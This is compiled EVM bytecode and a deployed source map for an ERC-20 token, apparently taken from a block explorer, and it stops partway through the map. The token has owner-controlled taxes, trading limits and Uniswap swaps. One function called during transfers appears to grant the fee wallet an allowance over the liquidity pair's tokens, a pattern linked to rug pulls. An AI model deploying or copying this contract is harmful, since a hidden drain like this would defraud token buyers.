01f19601f820116820180604052508101906107f8919061185d565b6001600160a01b031663c9c653963060025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610857573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087b919061185d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e9919061185d565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146109345760405162461bcd60e51b81526004016103c9906116c5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109a55760405162461bcd60e51b81526004016103c9906116c5565b60405133904780156108fc02915f818181858888f193505050501580156109ce573d5f803e3d5ffd5b50565b5f61058d338484610b01565b6001600160a01b038316610a3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c9565b6001600160a01b038216610aa05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c9565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b655760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c9565b6001600160a01b038216610bc75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c9565b5f8111610c285760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c9565b60135462010000900460ff161580610c475750601354610100900460ff165b15610cf1576001600160a01b0383165f90815260046020526040902054610c6f908290611878565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610c9e90829061188b565b6001600160a01b038084165f8181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610af49085815260200190565b5f80546001600160a01b03858116911614801590610d1c57505f546001600160a01b03848116911614155b15611082576003546001600160a01b038581169116148015610d4c57506002546001600160a01b03848116911614155b8015610d7057506001600160a01b0383165f9081526006602052604090205460ff16155b15610ece5760135460ff16610dbf5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103c9565b610deb6064610de5600f5460125411610dda57600b54610dde565b600d545b85906111f7565b9061127c565b9050600754821115610e3f5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617851416d6f756e742e000000000000000060448201526064016103c9565b60085482610e61856001600160a01b03165f9081526004602052604090205490565b610e6b919061188b565b1115610eb95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103c9565b60128054905f610ec88361189e565b91905055505b6003546001600160a01b03848116911614801590610f0457506001600160a01b0383165f9081526006602052604090205460ff16155b15610f835760085482610f2b856001600160a01b03165f9081526004602052604090205490565b610f35919061188b565b1115610f835760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103c9565b604080518082019091526003546001600160a01b039081168252600154166020820152610faf906112bd565b8015610fc857506003546001600160a01b038481169116145b15610ff557610ff26064610de560105460125411610fe857600c54610dde565b600e5485906111f7565b90505b601354610100900460ff1615801561101a57506003546001600160a01b038481169116145b801561102e575060135462010000900460ff165b801561103d5750601154601254115b1561108257305f90815260046020526040902054600954811115611078576110786110738461106e84600a5461132c565b61132c565b611340565b6110806114aa565b505b80156110fa57305f908152600460205260409020546110a190826114e0565b305f81815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110f19085815260200190565b60405180910390a35b6001600160a01b0384165f9081526004602052604090205461111c908361153e565b6001600160a01b0385165f9081526004602052604090205561115f611141838361153e565b6001600160a01b0385165f90815260046020526040902054906114e0565b6001600160a01b038085165f8181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111a8858561153e565b60405190815260200160405180910390a350505050565b5f81848411156111e25760405162461bcd60e51b81526004016103c991906115ab565b505f6111ee8486611878565b95945050505050565b5f825f0361120657505f610591565b5f6112118385611846565b90508261121e85836118b6565b146112755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c9565b9392505050565b5f61127583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061157f565b5f6112f5600a6112d960646008546111f790919063ffffffff16565b6112e4906002611846565b6112ef90600a61188b565b906111f7565b82516001600160a01b039081165f908152600560209081526040808320968201519093168252949094529092209190915550600190565b5f81831161133a5782611275565b50919050565b6013805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611382576113826118d5565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113fd919061185d565b81600181518110611410576114106118d5565b6001600160a01b03928316602091820292909201015260025461143691309116846109dd565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061146e9085905f908690309042906004016118e9565b5f604051808303815f87803b158015611485575f80fd5b505af1158015611497573d5f803e3d5ffd5b50506013805461ff001916905550505050565b6001546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109ce573d5f803e3d5ffd5b5f806114ec838561188b565b9050838110156112755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c9565b5f61127583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bf565b5f818361159f5760405162461bcd60e51b81526004016103c991906115ab565b505f6111ee84866118b6565b5f602080835283518060208501525f5b818110156115d7578581018301518582016040015282016115bb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109ce575f80fd5b5f806040838503121561161c575f80fd5b8235611627816115f7565b946020939093013593505050565b5f805f60608486031215611647575f80fd5b8335611652816115f7565b92506020840135611662816115f7565b929592945050506040919091013590565b5f60208284031215611683575f80fd5b8135611275816115f7565b5f806040838503121561169f575f80fd5b82356116aa816115f7565b915060208301356116ba816115f7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f6060848603121561170c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611735575f80fd5b81518015158114611275575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561179257815f190482111561177857611778611744565b8085161561178557918102915b93841c939080029061175d565b509250929050565b5f826117a857506001610591565b816117b457505f610591565b81600181146117ca57600281146117d4576117f0565b6001915050610591565b60ff8411156117e5576117e5611744565b50506001821b610591565b5060208310610133831016604e8410600b8410161715611813575081810a610591565b61181d8383611758565b805f190482111561183057611830611744565b029392505050565b5f61127560ff84168361179a565b808202811582820484141761059157610591611744565b5f6020828403121561186d575f80fd5b8151611275816115f7565b8181038181111561059157610591611744565b8082018082111561059157610591611744565b5f600182016118af576118af611744565b5060010190565b5f826118d057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119395784516001600160a01b031683529383019391830191600101611914565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205372c1e6a3130caf9aabe4ee07be56ff1ee2e5f37668cc4574db7c9fde2845c464736f6c63430008180033

Deployed Bytecode Sourcemap

3623:7504:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10661:463;;;;;;;;;;;;;:::i;:::-;;5652:83;;;;;;;;;;-1:-1:-1;5722:5:0;;;;;;;;;;;;-1:-1:-1;;;5722:5:0;;;;5652:83;;;;;;;:::i;:::-;;;;;;;;6788:161;;;;;;;;;;-1:-1:-1;6788:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6788:161:0;1023:187:1;4409:46:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4409:46:0;1215:177:1;5923:95:0;;;;;;;;;;;;;:::i;4244:46::-;;;;;;;;;;;;;;;;6469:313;;;;;;;;;;-1:-1:-1;6469:313:0;;;;;:::i;:::-;;:::i;5834:83::-;;;;;;;;;;-1:-1:-1;5834:83:0;;4047:1;2000:36:1;;1988:2;1973:18;5834:83:0;1858:184:1;9891:240:0;;;;;;;;;;-1:-1:-1;9891:240:0;;;;;:::i;:::-;;:::i;5285:361::-;;;;;;;;;;;;;:::i;6024:117::-;;;;;;;;;;-1:-1:-1;6024:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6117:16:0;6090:7;6117:16;;;:7;:16;;;;;;;6024:117;1487:148;;;;;;;;;;;;;:::i;1277:79::-;;;;;;;;;;-1:-1:-1;1315:7:0;1342:6;1277:79;;-1:-1:-1;;;;;1342:6:0;;;2705:51:1;;2693:2;2678:18;1277:79:0;2559:203:1;5741:87:0;;;;;;;;;;-1:-1:-1;5813:7:0;;;;;;;;;;;;-1:-1:-1;;;5813:7:0;;;;5741:87;;4297:46;;;;;;;;;;;;;;;;10306:114;;;;;;;;;;;;;:::i;6147:167::-;;;;;;;;;;-1:-1:-1;6147:167:0;;;;;:::i;:::-;;:::i;4350:52::-;;;;;;;;;;;;;;;;6320:143;;;;;;;;;;-1:-1:-1;6320:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6428:18:0;;;6401:7;6428:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6320:143;10661:463;1402:6;;-1:-1:-1;;;;;1402:6:0;940:10;1402:22;1394:67;;;;-1:-1:-1;;;1394:67:0;;;;;;;:::i;:::-;;;;;;;;;10718:11:::1;::::0;::::1;;10717:12;10709:48;;;::::0;-1:-1:-1;;;10709:48:0;;3723:2:1;10709:48:0::1;::::0;::::1;3705:21:1::0;3762:2;3742:18;;;3735:30;3801:25;3781:18;;;3774:53;3844:18;;10709:48:0::1;3521:347:1::0;10709:48:0::1;10768:10;::::0;-1:-1:-1;;;;;10768:10:0::1;:26;10802:21;10847:4;10867:24;10847:4:::0;-1:-1:-1;;;;;6117:16:0;6090:7;6117:16;;;:7;:16;;;;;;;6024:117;10867:24:::1;10906:1;10922::::0;10938:7:::1;1315::::0;1342:6;-1:-1:-1;;;;;1342:6:0;;1277:79;10938:7:::1;10768:218;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10768:218:0;;;-1:-1:-1;;;;;4232:15:1;;;10768:218:0::1;::::0;::::1;4214:34:1::0;4264:18;;;4257:34;;;;4307:18;;;4300:34;;;;4350:18;;;4343:34;4414:15;;;4393:19;;;4386:44;10960:15:0::1;4446:19:1::0;;;4439:35;4148:19;;10768:218:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11004:8:0::1;::::0;11030:10:::1;::::0;10997:61:::1;::::0;-1:-1:-1;;;10997:61:0;;-1:-1:-1;;;;;11030:10:0;;::::1;10997:61;::::0;::::1;4970:51:1::0;-1:-1:-1;;5037:18:1;;;5030:34;11004:8:0;::::1;::::0;-1:-1:-1;10997:24:0::1;::::0;4943:18:1;;10997:61:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11069:11:0::1;:18:::0;;-1:-1:-1;;11098:18:0;;;;;10661:463::o;6788:161::-;6863:4;6880:39;940:10;6903:7;6912:6;6880:8;:39::i;:::-;-1:-1:-1;6937:4:0;6788:161;;;;;:::o;5923:95::-;5976:7;4105:15;4047:1;4105:2;:15;:::i;:::-;4090:30;;:12;:30;:::i;:::-;5996:14;;5923:95;:::o;6469:313::-;6567:4;6584:36;6594:6;6602:9;6613:6;6584:9;:36::i;:::-;6631:121;6640:6;940:10;6662:89;6700:6;6662:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6662:19:0;;;;;;:11;:19;;;;;;;;940:10;6662:33;;;;;;;;;;:37;:89::i;:::-;6631:8;:121::i;:::-;-1:-1:-1;6770:4:0;6469:313;;;;;:::o;9891:240::-;1402:6;;-1:-1:-1;;;;;1402:6:0;940:10;1402:22;1394:67;;;;-1:-1:-1;;;1394:67:0;;;;;;;:::i;:::-;9965:10:::1;:18:::0;;-1:-1:-1;;;;;;9965:18:0::1;-1:-1:-1::0;;;;;9965:18:0;::::1;;::::0;;4105:15:::1;4047:1;4105:2;:15;:::i;:::-;4090:30;::::0;:12:::1;:30;:::i;:::-;9994:11;:19:::0;4105:15:::1;4047:1;4105:2;:15;:::i;:::-;4090:30;::::0;:12:::1;:30;:::i;:::-;10024:11;:19:::0;-1:-1:-1;;;;;10054:19:0;::::1;;::::0;;;:12:::1;:19;::::0;;;;:26;;-1:-1:-1;;10054:26:0::1;10076:4;10054:26;::::0;;10096:27:::1;4105:15;4047:1;4105:2;:15;:::i;:::-;4090:30;::::0;:12:::1;:30;:::i;:::-;10096:27;::::0;1361:25:1;;;1349:2;1334:18;10096:27:0::1;;;;;;;9891:240:::0;:::o;5285:361::-;1402:6;;-1:-1:-1;;;;;1402:6:0;940:10;1402:22;1394:67;;;;-1:-1:-1;;;1394:67:0;;;;;;;:::i;:::-;5332:10:::1;:99:::0;;-1:-1:-1;;;;;;5332:99:0::1;5378:42;5332:99:::0;;::::1;::::0;;;5442:53:::1;::::0;5459:4:::1;::::0;4105:15:::1;4047:1;4105:2;:15;:::i;:::-;4090:30;::::0;:12:::1;:30;:::i;5442:53::-;5535:10;;;;;;;;;-1:-1:-1::0;;;;;5535:10:0::1;-1:-1:-1::0;;;;;5535:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5517:50:0::1;;5590:4;5610:10;;;;;;;;;-1:-1:-1::0;;;;;5610:10:0::1;-1:-1:-1::0;;;;;5610:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5517:121;::::0;-1:-1:-1;;;;;;5517:121:0::1;::::0;;;;;;-1:-1:-1;;;;;7525:15:1;;;5517:121:0::1;::::0;::::1;7507:34:1::0;7577:15;;7557:18;;;7550:43;7442:18;;5517:121:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5506:8;:132:::0;;-1:-1:-1;;;;;;5506:132:0::1;-1:-1:-1::0;;;;;5506:132:0;;;::::1;::::0;;;::::1;::::0;;5285:361::o;1487:148::-;1402:6;;-1:-1:-1;;;;;1402:6:0;940:10;1402:22;1394:67;;;;-1:-1:-1;;;1394:67:0;;;;;;;:::i;:::-;1594:1:::1;1578:6:::0;;1557:40:::1;::::0;-1:-1:-1;;;;;1578:6:0;;::::1;::::0;1557:40:::1;::::0;1594:1;;1557:40:::1;1625:1;1608:19:::0;;-1:-1:-1;;;;;;1608:19:0::1;::::0;;1487:148::o;10306:114::-;1402:6;;-1:-1:-1;;;;;1402:6:0;940:10;1402:22;1394:67;;;;-1:-1:-1;;;1394:67:0;;;;;;;:::i;:::-;10359:53:::1;::::0;940:10;;10390:21:::1;10359:53:::0;::::1;;;::::0;::::1;::::0;;;10390:21;940:10;10359:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10306:114::o:0;6147:167::-;6225:4;6242:42;940:10;6266:9;6277:6;6242:9;:42::i;6955:335::-;-1:-1:-1;;;;;7048:19:0;;7040:68;;;;-1:-1:-1;;;7040:68:0;;7806:2:1;7040:68:0;;;7788:21:1;7845:2;7825:18;;;7818:30;7884:34;7864:18;;;7857:62;-1:-1:-1;;;7935:18:1;;;7928:34;7979:19;;7040:68:0;7604:400:1;7040:68:0;-1:-1:-1;;;;;7127:21:0;;7119:68;;;;-1:-1:-1;;;7119:68:0;;8211:2:1;7119:68:0;;;8193:21:1;8250:2;8230:18;;;8223:30;8289:34;8269:18;;;8262:62;-1:-1:-1;;;8340:18:1;;;8333:32;8382:19;;7119:68:0;8009:398:1;7119:68:0;-1:-1:-1;;;;;7198:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7250:32;;1361:25:1;;;7250:32:0;;1334:18:1;7250:32:0;;;;;;;;6955:335;;;:::o;7747:2138::-;-1:-1:-1;;;;;7835:18:0;;7827:68;;;;-1:-1:-1;;;7827:68:0;;8614:2:1;7827:68:0;;;8596:21:1;8653:2;8633:18;;;8626:30;8692:34;8672:18;;;8665:62;-1:-1:-1;;;8743:18:1;;;8736:35;8788:19;;7827:68:0;8412:401:1;7827:68:0;-1:-1:-1;;;;;7914:16:0;;7906:64;;;;-1:-1:-1;;;7906:64:0;;9020:2:1;7906:64:0;;;9002:21:1;9059:2;9039:18;;;9032:30;9098:34;9078:18;;;9071:62;-1:-1:-1;;;9149:18:1;;;9142:33;9192:19;;7906:64:0;8818:399:1;7906:64:0;7998:1;7989:6;:10;7981:64;;;;-1:-1:-1;;;7981:64:0;;9424:2:1;7981:64:0;;;9406:21:1;9463:2;9443:18;;;9436:30;9502:34;9482:18;;;9475:62;-1:-1:-1;;;9553:18:1;;;9546:39;9602:19;;7981:64:0;9222:405:1;7981:64:0;8061:11;;;;;;;8060:12;;:22;;-1:-1:-1;8076:6:0;;;;;;;8060:22;8056:209;;;-1:-1:-1;;;;;8115:13:0;;;;;;:7;:13;;;;;;:22;;8131:6;;8115:22;:::i;:::-;-1:-1:-1;;;;;8099:13:0;;;;;;;:7;:13;;;;;;:38;;;;8166:11;;;;;;;:20;;8180:6;;8166:20;:::i;:::-;-1:-1:-1;;;;;8152:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8206:26;;;;;;;;;;8225:6;1361:25:1;;1349:2;1334:18;;1215:177;8056:209:0;8275:17;1342:6;;-1:-1:-1;;;;;8309:15:0;;;1342:6;;8309:15;;;;:32;;-1:-1:-1;1315:7:0;1342:6;-1:-1:-1;;;;;8328:13:0;;;1342:6;;8328:13;;8309:32;8305:1238;;;8370:8;;-1:-1:-1;;;;;8362:16:0;;;8370:8;;8362:16;:45;;;;-1:-1:-1;8396:10:0;;-1:-1:-1;;;;;8382:25:0;;;8396:10;;8382:25;;8362:45;:67;;;;-1:-1:-1;;;;;;8413:16:0;;;;;;:12;:16;;;;;;;;8411:18;8362:67;8358:462;;;8458:11;;;;8450:44;;;;-1:-1:-1;;;8450:44:0;;10097:2:1;8450:44:0;;;10079:21:1;10136:2;10116:18;;;10109:30;-1:-1:-1;;;10155:18:1;;;10148:51;10216:18;;8450:44:0;9895:345:1;8450:44:0;8525:76;8597:3;8525:67;8547:15;;8537:9;;:25;8536:55;;8577:14;;8536:55;;;8564:12;;8536:55;8525:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8513:88;;8638:11;;8628:6;:21;;8620:58;;;;-1:-1:-1;;;8620:58:0;;10447:2:1;8620:58:0;;;10429:21:1;10486:2;10466:18;;;10459:30;10525:26;10505:18;;;10498:54;10569:18;;8620:58:0;10245:348:1;8620:58:0;8731:11;;8721:6;8705:13;8715:2;-1:-1:-1;;;;;6117:16:0;6090:7;6117:16;;;:7;:16;;;;;;;6024:117;8705:13;:22;;;;:::i;:::-;:37;;8697:76;;;;-1:-1:-1;;;8697:76:0;;10800:2:1;8697:76:0;;;10782:21:1;10839:2;10819:18;;;10812:30;10878:28;10858:18;;;10851:56;10924:18;;8697:76:0;10598:350:1;8697:76:0;8792:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8358:462;8844:8;;-1:-1:-1;;;;;8838:14:0;;;8844:8;;8838:14;;;;:36;;-1:-1:-1;;;;;;8858:16:0;;;;;;:12;:16;;;;;;;;8856:18;8838:36;8834:153;;;8929:11;;8919:6;8903:13;8913:2;-1:-1:-1;;;;;6117:16:0;6090:7;6117:16;;;:7;:16;;;;;;;6024:117;8903:13;:22;;;;:::i;:::-;:37;;8895:76;;;;-1:-1:-1;;;8895:76:0;;10800:2:1;8895:76:0;;;10782:21:1;10839:2;10819:18;;;10812:30;10878:28;10858:18;;;10851:56;10924:18;;8895:76:0;10598:350:1;8895:76:0;9004:29;;;;;;;;;9011:8;;-1:-1:-1;;;;;9011:8:0;;;9004:29;;9011:8;9021:10;;9004:29;;;;;;:5;:29::i;:::-;:47;;;;-1:-1:-1;9043:8:0;;-1:-1:-1;;;;;9037:14:0;;;9043:8;;9037:14;9004:47;9001:178;;;9084:79;9159:3;9084:70;9106:16;;9096:9;;:26;9095:58;;9138:15;;9095:58;;;9124:13;;9084:6;;:10;:70::i;:79::-;9072:91;;9001:178;9198:6;;;;;;;9197:7;:25;;;;-1:-1:-1;9214:8:0;;-1:-1:-1;;;;;9208:14:0;;;9214:8;;9208:14;9197:25;:40;;;;-1:-1:-1;9226:11:0;;;;;;;9197:40;:72;;;;;9251:18;;9241:9;;:28;9197:72;9193:339;;;9339:4;9290:28;6117:16;;;:7;:16;;;;;;9388:17;;9367:38;;9364:123;;;9428:59;9437:49;9441:6;9448:37;9452:20;9473:11;;9448:3;:37::i;:::-;9437:3;:49::i;:::-;9428:8;:59::i;:::-;9506:10;:8;:10::i;:::-;9271:261;9193:339;9556:11;;9553:157;;9620:4;9604:22;;;;:7;:22;;;;;;:37;;9631:9;9604:26;:37::i;:::-;9597:4;9581:22;;;;:7;:22;;;;;;;:60;;;;9659:39;;-1:-1:-1;;;;;9659:39:0;;;;;;;9688:9;1361:25:1;;1349:2;1334:18;;1215:177;9659:39:0;;;;;;;;9553:157;-1:-1:-1;;;;;9734:13:0;;;;;;:7;:13;;;;;;:25;;9752:6;9734:17;:25::i;:::-;-1:-1:-1;;;;;9720:13:0;;;;;;:7;:13;;;;;:39;9782:38;9798:21;:6;9809:9;9798:10;:21::i;:::-;-1:-1:-1;;;;;9782:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9770:11:0;;;;;;;:7;:11;;;;;:50;;;;9836:41;;;9855:21;:6;9866:9;9855:10;:21::i;:::-;9836:41;;1361:25:1;;;1349:2;1334:18;9836:41:0;;;;;;;7816:2069;7747:2138;;;:::o;1991:190::-;2077:7;2113:12;2105:6;;;;2097:29;;;;-1:-1:-1;;;2097:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2137:9:0;2149:5;2153:1;2149;:5;:::i;:::-;2137:17;1991:190;-1:-1:-1;;;;;1991:190:0:o;2187:246::-;2245:7;2269:1;2274;2269:6;2265:47;;-1:-1:-1;2299:1:0;2292:8;;2265:47;2322:9;2334:5;2338:1;2334;:5;:::i;:::-;2322:17;-1:-1:-1;2367:1:0;2358:5;2362:1;2322:17;2358:5;:::i;:::-;:10;2350:56;;;;-1:-1:-1;;;2350:56:0;;11517:2:1;2350:56:0;;;11499:21:1;11556:2;11536:18;;;11529:30;11595:34;11575:18;;;11568:62;-1:-1:-1;;;11646:18:1;;;11639:31;11687:19;;2350:56:0;11315:397:1;2350:56:0;2424:1;2187:246;-1:-1:-1;;;2187:246:0:o;2439:132::-;2497:7;2524:39;2528:1;2531;2524:39;;;;;;;;;;;;;;;;;:3;:39::i;10137:163::-;10191:4;10235:35;10267:2;10241:20;10257:3;10241:11;;:15;;:20;;;;:::i;:::-;10239:22;;:1;:22;:::i;:::-;10236:25;;:2;:25;:::i;:::-;10235:31;;:35::i;:::-;10219:6;;-1:-1:-1;;;;;10207:19:0;;;;;;;:11;10219:6;10207:19;;;;;;;10227:6;;;;10207:27;;;;;;;;;;;;:63;;;;-1:-1:-1;10231:1:0;;10137:163::o;10426:99::-;10482:7;10511:1;10509;:3;10508:9;;10516:1;10508:9;;;-1:-1:-1;10514:1:0;10426:99;-1:-1:-1;10426:99:0:o;7296:445::-;4864:6;:13;;-1:-1:-1;;4864:13:0;;;;;7385:16:::1;::::0;;7399:1:::1;7385:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7385:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7385:16:0::1;7361:40;;7430:4;7412;7417:1;7412:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7412:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7456:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;7456:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;7412:7;;7456:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7446:4;7451:1;7446:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7446:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;7516:10:::1;::::0;7484:52:::1;::::0;7501:4:::1;::::0;7516:10:::1;7529:6:::0;7484:8:::1;:52::i;:::-;7547:10;::::0;:186:::1;::::0;-1:-1:-1;;;7547:186:0;;-1:-1:-1;;;;;7547:10:0;;::::1;::::0;:61:::1;::::0;:186:::1;::::0;7623:6;;7547:10:::1;::::0;7660:4;;7687::::1;::::0;7707:15:::1;::::0;7547:186:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4900:6:0;:14;;-1:-1:-1;;4900:14:0;;;-1:-1:-1;;;;7296:445:0:o;10531:89::-;10570:10;;:42;;-1:-1:-1;;;;;10570:10:0;;;;10590:21;10570:42;;;;;:10;:42;:10;:42;10590:21;10570:10;:42;;;;;;;;;;;;;;;;;;;1664:179;1722:7;;1754:5;1758:1;1754;:5;:::i;:::-;1742:17;;1783:1;1778;:6;;1770:46;;;;-1:-1:-1;;;1770:46:0;;13168:2:1;1770:46:0;;;13150:21:1;13207:2;13187:18;;;13180:30;13246:29;13226:18;;;13219:57;13293:18;;1770:46:0;12966:351:1;1849:136:0;1907:7;1934:43;1938:1;1941;1934:43;;;;;;;;;;;;;;;;;:3;:43::i;2577:189::-;2663:7;2698:12;2691:5;2683:28;;;;-1:-1:-1;;;2683:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2722:9:0;2734:5;2738:1;2734;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:255::-;2114:6;2167:2;2155:9;2146:7;2142:23;2138:32;2135:52;;;2183:1;2180;2173:12;2135:52;2222:9;2209:23;2241:31;2266:5;2241:31;:::i;2767:388::-;2835:6;2843;2896:2;2884:9;2875:7;2871:23;2867:32;2864:52;;;2912:1;2909;2902:12;2864:52;2951:9;2938:23;2970:31;2995:5;2970:31;:::i;:::-;3020:5;-1:-1:-1;3077:2:1;3062:18;;3049:32;3090:33;3049:32;3090:33;:::i;:::-;3142:7;3132:17;;;2767:388;;;;;:::o;3160:356::-;3362:2;3344:21;;;3381:18;;;3374:30;3440:34;3435:2;3420:18;;3413:62;3507:2;3492:18;;3160:356::o;4485:306::-;4573:6;4581;4589;4642:2;4630:9;4621:7;4617:23;4613:32;4610:52;;;4658:1;4655;4648:12;4610:52;4687:9;4681:16;4671:26;;4737:2;4726:9;4722:18;4716:25;4706:35;;4781:2;4770:9;4766:18;4760:25;4750:35;;4485:306;;;;;:::o;5075:277::-;5142:6;5195:2;5183:9;5174:7;5170:23;5166:32;5163:52;;;5211:1;5208;5201:12;5163:52;5243:9;5237:16;5296:5;5289:13;5282:21;5275:5;5272:32;5262:60;;5318:1;5315;5308:12;5357:127;5418:10;5413:3;5409:20;5406:1;5399:31;5449:4;5446:1;5439:15;5473:4;5470:1;5463:15;5489:416;5578:1;5615:5;5578:1;5629:270;5650:7;5640:8;5637:21;5629:270;;;5709:4;5705:1;5701:6;5697:17;569